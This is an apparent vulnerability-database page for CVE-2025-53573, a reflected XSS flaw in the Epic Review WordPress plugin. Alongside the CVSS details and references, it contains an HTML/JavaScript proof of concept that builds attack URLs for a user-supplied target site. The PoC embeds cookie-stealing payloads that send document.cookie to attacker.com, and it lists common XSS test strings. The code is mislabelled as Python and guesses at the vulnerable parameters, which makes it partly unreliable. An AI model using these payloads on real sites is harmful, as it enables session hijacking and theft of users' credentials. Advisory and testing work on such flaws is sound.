CVE-2025-53573

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in jegtheme Epic Review epic-review allows Reflected XSS.This issue affects Epic Review: from n/a through <= 1.0.2.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Epic Review <= 1.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-53573 PoC - Reflected XSS in Epic Review Plugin -->
<!-- Target: WordPress site with Epic Review plugin <= 1.0.2 -->
<!-- Attack Vector: Malicious URL parameter injection -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-53573 PoC</title>
</head>
<body>
    <h2>CVE-2025-53573 - Epic Review Reflected XSS PoC</h2>
    
    <!-- Malicious URL that triggers the XSS -->
    <p>Malicious URL:</p>
    <code id="malicious-url"></code>
    
    <script>
        // Generate malicious URL based on target site
        var targetSite = prompt("Enter target WordPress site URL:", "https://example.com");
        
        // Common vulnerable parameter patterns in Epic Review
        var maliciousParam = '<script>alert("XSS Vulnerability - CVE-2025-53573");document.location="https://attacker.com/steal?cookie="+document.cookie</script>';
        
        // URL encode the payload
        var encodedPayload = encodeURIComponent(maliciousParam);
        
        // Generate various attack URLs
        var attackUrls = [
            targetSite + '/?s=' + encodedPayload,
            targetSite + '/?review_id=' + encodedPayload,
            targetSite + '/?product_id=' + encodedPayload,
            targetSite + '/?epic_review_param=' + encodedPayload
        ];
        
        // Display first attack URL
        document.getElementById('malicious-url').innerHTML = attackUrls[0];
        
        // Function to test for vulnerability
        function testVulnerability(url) {
            // This would typically be done server-side or with browser automation
            console.log("Testing URL: " + url);
            return "Check if the parameter value is reflected unescaped in the response";
        }
        
        // Cookie stealing payload
        var cookieStealerPayload = '<img src=x onerror="fetch(\'https://attacker.com/log?cookie=\'+document.cookie)">';
        
        console.log("Cookie Stealer Payload:", cookieStealerPayload);
    </script>
    
    <h3>Attack Scenarios:</h3>
    <ul>
        <li><strong>Session Hijacking:</strong> Steal user cookies to hijack sessions</li>
        <li><strong>Phishing:</strong> Inject fake login forms to capture credentials</li>
        <li><strong>Malware Distribution:</strong> Redirect users to malicious sites</li>
        <li><strong>Defacement:</strong> Modify page content to display malicious information</li>
    </ul>
    
    <h3>Detection Method:</h3>
    <pre>
# Use Burp Suite or similar tool to intercept requests
# Inject XSS payloads into parameters
# Check if payload is reflected without encoding
# Common test payloads:
# <script>alert(1)</script>
# <img src=x onerror=alert(1)>
# <svg onload=alert(1)>
    </pre>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53573
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53573
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53573/
[4] VulDB https://vuldb.com/cve/CVE-2025-53573
[5] https://patchstack.com/database/Wordpress/Plugin/epic-review/vulnerability/wordpress-epic-review-plugin-1-0-2-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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